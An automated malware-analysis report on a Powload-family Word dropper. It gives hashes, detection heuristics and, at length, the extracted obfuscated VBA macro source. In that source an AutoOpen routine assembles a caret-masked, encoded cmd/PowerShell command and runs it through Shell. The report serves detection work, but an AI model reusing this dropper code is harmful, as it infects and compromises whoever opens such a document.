Office (OLE) malware analysis — malicious · f75136051ff1f592

MALICIOUS

Office (OLE)

85.2 KB Created: 2018-08-30 11:04:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: 473f480594972f754b2f4e6999ab1f66 SHA-1: 2e1520f8534d3c2f556c7c3e241fd578ef30ab80 SHA-256: f75136051ff1f592a523db55a99a3d18f2daebfa648271c67eb4a0c66bb58ebf

172 Risk Score

Heuristics 7

ClamAV: Doc.Dropper.Powload-6666835-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Powload-6666835-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

Shell ChrW(9 + 1 + 6 + 3 + 48) + uCMUfQG + ViKPXtPiW + zKKENYqufh + dHzLqqwdwwN + wpvIshEhMw + MrEwbGEX + snkofUTsLjo + SfzCtwLMavoTi, 739186278 - 739186278

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9359 bytes
SHA-256: `a7e2bf0b298c8439381076935da4f0076718d3d790e83fbd1332c5a147dc95c7`
Detection ClamAV: No threats found Obfuscation or payload: likely 117 of 207 identifiers look randomly generated (e.g. 'adnDjBfuUuaOq'); 3 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "LOVSLHAjB" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "jCnjtXZjcMYF" Function zKKENYqufh() On _ Error _ Resume _ Next Hour PmUroi * XXsIK / rmlrzi / 83554 Hour 58804 * IbsEw Hour VwAKMB * foJcTX Hour 51959 * wzcBJ Hour ofZwBI * YwwnQX itJAvhIis = "md /V" + "^:/C" + Chr(3 + 0 + 5 + 4 + 22) + "^s" + "^e^" + "t ^e" + "^5k=^" + "A" + "^AC^AgA" + "^A^I^" + "A" + "ACA" + "^g" + "^A^" Hour dDiRcU * RpkGF Hour tKWCi * jScNM * 58398 * CuWzkj ULbzP = "AI^" + "AACA" + "g^A^" + "A" + "^I^A^" + "ACA^gA^" + "AI^A^A" + "C^AgA" Hour mnthQU / JfAiFh * 41180 / NBDjQ fCBmEUk = "AI^A^" + "A" + "CA" + "^gAQ" + "^fA" + "0H^" + "A" + "7B" + "A" + "^aA^" + "MG^A^" + "0" Hour 71183 * uGBmd iwzKirK = "^B^Q" + "^Y^AM" + "^GA" + "9Bw" + "O^As" + "^G^" + "A^hBQ" + "^ZA^I" Hour 5523 * mJSBjZ * 52607 * JdlzW Hour 77685 * wRuOsv * 65439 / FBVpj Hour 65818 * DkJrwG jTRnYG = "HAiBwOA" + "^o^E" + "^" + "A^o" + "^B" + "Q" + "^dA^QC^" Hour 24014 * 94402 Hour mMYqtF / KkADE / 4495 / WBjjG Hour 37068 / NtTHjO / EHzXM / TpGzM hRrOCzf = "A" + "^gAQbA" + "U" + "G^A^" + "0B^Q^S" Hour NCjYVj * VfwQc / 35365 * ldJMGT Hour XPFAlp / wlFDEO Hour nCKvr * pBVpA / dOazv / GwSKs bwpXcohJJdj = "A^0C^" + "Al^" + "B" + "^w^a" + "A" + "^8GA2B^" + "g" + "^b" + "^Ak^E^A" + "7^AQ^K" + "^Ao^E" + "Ao^B" Hour jbdiQd * cHQua * UMVUA * usIZVd Hour kzNVr * 17122 UoLlOOzPFz = "^QdAQ" + "C" + "^A^g^AA" + "^LAoGA" + "V^" + "B" + "gdA^Q" + "CAo" + "AQZ" + "^A" + "wGApB" Hour BqhdCY / IEOju * wBhSC / LjYfbF Hour 48492 * KPMHB * BovVAp / wDNJzP jvLCznPZQq = "^" + "g" + "RA^QG^" + "Ah^" + "Bwb" + "A^w" + "^" + "G^A" + "^" Hour GTuPCB / rufbKc Hour 42961 / TEjmQ * 18281 * fizLz qzvAktNBtNo = "uB^w^dA" + "^8^GAE" + "^B^" + "g" + "LAc^H" + "A^a^B^" + "gcA" + "QC^A7" + "B^Q" + "e^A" + "I^HA^" + "0^" + "B^w^e^" zKKENYqufh = itJAvhIis + ULbzP + fCBmEUk + iwzKirK + jTRnYG + hRrOCzf + bwpXcohJJdj + UoLlOOzPFz + jvLCznPZQq + qzvAktNBtNo Hour uPfAl / zIDnc / 4520 / CYLAhY End Function Function dHzLqqwdwwN() On _ Error _ Resume _ Next Hour wYRuuv / bcuDnJ / 14297 / vVnOHJ Hour 94703 / 24393 / 3387 * KYIAw Hour 56444 * sHQKv Hour 11171 * NaGFwU * 60964 * wTlMO Hour 85170 * UccJB Hour GPcjzc / UbcoZf nQDzP = "AkC^" + "ATB^Q" + "c" + "^A" + "QH" + "^Ak^AAI" + "^A^4^G" + "^A^" + "pB" Hour iYpTJI * 75351 * 42047 / OZjiE zUEPflop = "A^I^" + "A^o^" + "G^AV^" + "Bgd^AQC" + "Ao^" + "A^" + "A^aA" + "^M^GA" + "^h^BQ^Z" + "AIHAv^B" + "^gZA" + "s^DAn" + "A^Q^Z" Hour 60215 / QmfRT Hour 2841 / Bqrboc * BEfcbh * phvDW Hour 73802 * BWPVGS * UHhYv * NMQkMm Hour nzmto * NijTlR WfQOZA = "AgH^A^l" + "^B^g^" + "LAcCAr" + "^" + "A^Q" + "^UAEFA" + "q^BAJ^A" + "^" + "sCAn^A^" + "A^X^A" Hour wQwRV / iidoi / 10641 * sSGfAb skzZA = "cC^A" + "r^A" + "^wY^" + "A^" + "kGA" + "^s" + "B^" + "g^" + "Y^AU" + "HAwBg" + "^OA^YH" + "^A" + "^u^B^QZ" Hour 76711 / RaLfw / iGfsE / MHbPJK Hour AzjLfQ * QDRZhA Hour 66064 / TYlTb Hour 67140 * 98921 * 42238 / paFwX qQZwOjzqlb = "^A^Q" + "C^A9A" + "g^S" + "^A" + "^" + "gGA1B" + "AJAs" + "D^AnA" + "^AMAA" + "D" + "^Ax^Aw^" + "JAACA9" Hour MQuEE * SiiTB Hour 17731 * 34476 / 40758 / HDlXlp IjbSNU = "AAI" + "^AE" + "^" + "FAR^" + "B^ga^A^" + "QCA^" + "7^" + "AQ^K^" Hour 77278 * zFjXu Hour UphBR / MWKzrV Hour 9660 / MzWKR zQjOjPXfO = "AcC^AA" + "^B" + "^w^J^" + "A^gC^A" + "^" + "0B" + "Q^a^" + "Aw^G^" Hour 44772 / jsVVC * 26753 * 71639 Hour 60946 * FXKvzY / 77926 * qXwMb Hour 76376 / zbLNZ Hour 30802 / KCsZZ zQzJH = "Aw^B^w" + "U^A^4C^" + "A" + "nAw^d^" + "Ao^FA" + "vA^w^b" + "^A^" + "YGA^" + "uBQaA4C" + "^A^u^" + "BQ^Y^A0" Hour vtkRXm * TitrD * rOdZwD / UiAuL nZfUrkDV = "^G^" + "A^lB" + "^AZ^Aw^" + "GAhBA^a" + "^A" + "8C^Av" + "^Ag" + "OAAHA0^" + "BA^dAg" + "^" + "G^A^A" + "^B^w^" + "U^" Hour 88946 / hEZEFw * 58108 / fGiGZ Hour CrTRsq / QkpwB / wBwTU / sudOOh Hour 37331 / dmsCn DjMSIOzD = "A8CAt" + "Bw^b^" + "AM" + "^G" + "A" + "u^AAe" Hour 79682 / 29767 Hour AXNvoz * KUGBnb MhhFI = "^" + "A8^G^A" + "^" + "iB^wbA" + "YG^A^hB" + "^gc^Ac" + "^" + "G" + "^" + "Av^Aw" + "L" Hour ZPMbC * GIrdN Hour 21484 / GowHn / vCrNbV * HShPWi Hour adIKl * wsYdEj FYFiqY = "^AoD" + "AwB^A" + "^dA" + "^Q^H" + "AoBAQ^" + "A" + "^M^FAL" Hour 72064 * iwwXaX Hour 98059 * hTwqK Hour dnEhR * miwSP wLBYaMHT = "B^" + "wR^" + "Ag" + "^HAvA" + "^Q" + "^dA^I^" + "HAuA^" + "A" + "c^A" + "U^G^A^6" + "B^" dHzLqqwdwwN = nQDzP + zUEPflop + WfQOZA + skzZA + qQZwOjzqlb + IjbSNU + zQjOjPXfO + zQzJH + nZfUrkDV + DjMSIOzD + MhhFI + FYFiqY + wLBYaMHT Hour 21283 * FhdQM / 31787 / FNWiC Hour Grizim / NSbbQ Hour 77697 / 86698 / 28290 / 66122 End Function Function wpvIshEhMw() On _ Error _ Resume _ Next Hour 91620 / 27873 Hour 2367 * ijYfrO * ovLij * TJiYkQ Hour vRPXNs / IwZWj * 33169 / 11897 Hour 46116 / vvvHqT * 37839 * owVjU Hour QDYTu * qwGLir * 53264 * cIIvQ rziAwFWuWw = "Q" + "bA8CA" + "v" + "Ag^O" + "^A^" + "A^H^" + "A" + "^0" + "^BA^dA" + "g" + "^G" Hour NbcNCw * ZKUfYk Hour zGXYhD / hUtwIf / UZGSi * DMzpB Hour 17303 / XCYCYn / 12224 * NCIOCt Hour uJhnMu / GGXMvj Hour 71622 / kkYiUa / 42843 / NPwRmK RhlUZlVR = "AA" + "B^Ac" + "A^" + "IH^" + "A^o^B" + "AdA^" + "Y" + "E^" + "A^PB^" Hour sCnRnE * KpRNEi / 79185 * vaAUnc Hour 99231 * WThWsT Hour NEWzX * fJSFS Hour 77811 * sIlSZU / AAqjXR / iwXnnW Hour 49342 / zVMnc jXaILmclUXK = "gN^A^o" + "^H^A" + "v^A" + "w" + "^b^AI" + "^HA" + "^u^A" + "wYAY^" + "H^A" + "w^" + "B^QZAI^" + "HA^" Hour 24985 / BwwDja * 24065 / ETpJH Hour IhnIpA / JNSsK Hour LZERST * impEDr IOQDSw = "l" + "B^QaAw" + "G" + "Av^BgZ^" + "A" + "^" + "4G" + "A^pBwL^" + "A^8C" Hour vQipA / HNOGTF / uTTSL * 27195 Hour 25792 / SXQIUM Hour prNFOW / zomww Hour 44609 * NwFwq Hour 55500 * nHiYEz * 80420 / wUfaC mzaiNA = "^A6A" + "^Ac" + "A^QHA^" + "0" + "BA" + "^a^AA" + "^EA" + "^J^BwL" + "^" + "A" Hour PihrR * wNSfh * 9 * PlivzP Hour zXiZP / AwYQU jlUaf = "0GAv^B^" + "w^" + "YA^" + "4C^" + "A^z^" + "B^" Hour 97914 * lYlqhr * ZjqOO * REZqRJ Hour YHDhhH / AncLji Hour 77147 / iqbSsE / whAjNO * TsQhGi VqmAHGtIQ = "w" + "^b^A^I" + "HA^1^Bw" + "^Z^A^U^" + "GA^z" + "B^QZAQ^" + "HA^y^" Hour 52097 / uBtvP / 28749 / wkhJOi Hour 86349 * XWYmt WRQvOn = "B" + "Q^Y^AA" + "^" + "H^A^hB" + "^Q" + "eA8^" + "G^A0B" + "^g^b" Hour BFQZKS * zYdCh Hour FwAcT * inzCu PlOBGs = "AU^H^A" + "w^" + "B^" + "wL^" + "A" + "8CA^" Hour UdQib / pUwpPh Hour 37703 * itITLj * 90779 / wFlSG Hour tLrop / Mdwza * DvWDB / DiavNR Hour uKPPFT / lCVVK * 98429 / EhuraQ Hour QPvXG * QqQDX / djZYZ / kjXIK jDUiaqwJf = "6AAcAQH" + "^A0" + "^B^A^" + "a" + "AcC^A9" + "A^w" Hour qHEEh / rRMSF / VCabpB / OiKisL Hour Mzdwwa * bIziYs / CNiSf * AUJCWq wdBIhRV = "^" + "U^AE^HA" + "^0" + "B^AJ^A" + "^sD" + "A0^Bg" + "^bA^U" + "G" + "Ap" + "^B" + "AbAM^EA" + "i^BQ^Z^" wpvIshEhMw = rziAwFWuWw + RhlUZlVR + jXaILmclUXK + IOQDSw + mzaiNA + jlUaf + VqmAHGtIQ + WRQvOn + PlOBGs + jDUiaqwJf + wdBIhRV Hour pbbHth * 69856 End Function Function MrEwbGEX() On _ Error _ Resume _ Next Hour 82479 / EoSZiL / 20447 / jtJSid Hour qiikAL * iOwth / VNTij / MscOwb Hour PUPiZ * TzBKRj / 78932 / KhPlR Hour zHOGuZ * DYhmOT Hour XjDiq / ABZwc * luzOw / 33148 QimBunrawF = "Ac^FA" + "uAA^d^" + "AU^G^" + "A^O" + "BA" Hour WdCjos / MAjRSw * 53210 / pfDdN Hour 15543 * wcqJj Hour 31051 * zSMJn / nhimCC / ZWzCM nTINs = "IA^Q^HA" + "jB" + "^Q^" + "Z^A^" + "oG^Ai" + "B" Hour Nbizl / CjjvZ / 90269 * JGbAR Hour zMKlin / FDAfG SVswVGUlaK = "wb^A0CA" + "^" + "3" + "BQZ" + "^A4^G^" + "A^" + "9Aw^" + "d^A" + "oFA^y^" Hour PRmfQ * OMnXBw * AOpXCH / Kszja Hour 99848 * CYFnd / 52956 * mWvJXI FNqAOtavcHj = "BA^J^ " + "^e- " + "^l^l" + "^e" + "hsre" + "wo" + "p&&" + "^f^o" + "r /^L " + "%^g " Hour LRQbcD * IGmUAv * 17512 / 44112 Hour dlsAl / lAiGj Hour EMmoj / fBNUP mwKFbnBwNu = "^i" + "n (8" + "^9" + "^3" + ";^-^1;" + "^0)" + "^do set" + " 5cG" + "=!" + "5cG!!^" + "e^5k:~%" + "^g," Hour 27275 / wmWLvh Hour 80649 * OjbCWm Hour 75146 * 90884 * MiXMD / BXWAh Hour 31947 / ilwaj / 15090 / AIRWwX Hour PlaPiW * vVBSKK XoWudjKiG = "1!&&i^f" + " %^" + "g==^0 " + "c^a" + "^l^l %" Hour 30375 / iYsMV Hour XbdWhf / RtjwJH fAqqOIJbS = "5cG" + ":^" + "5c^G^!" + "=%" + Chr(3 + 0 + 5 + 4 + 22) + " " MrEwbGEX = QimBunrawF + nTINs + SVswVGUlaK + FNqAOtavcHj + mwKFbnBwNu + XoWudjKiG + fAqqOIJbS Hour 71861 / 39238 / hioCRn / KGwRJq Hour EVYnl / NXtsAl End Function Attribute VB_Name = "adnDjBfuUuaOq" Sub AutoOpen() On _ Error _ Resume _ Next Hour 74930 / hzKiH / 66885 SXaAON Hour urTXw / zoNORd / EUcnzt / vzZtSC Hour TZOKwo / iRSau Hour 78436 * SRAbL Shell ChrW(9 + 1 + 6 + 3 + 48) + uCMUfQG + ViKPXtPiW + zKKENYqufh + dHzLqqwdwwN + wpvIshEhMw + MrEwbGEX + snkofUTsLjo + SfzCtwLMavoTi, 739186278 - 739186278 Hour 75400 * hGRwrv Hour 12791 * DsYSz * 23064 * RXpLw End Sub

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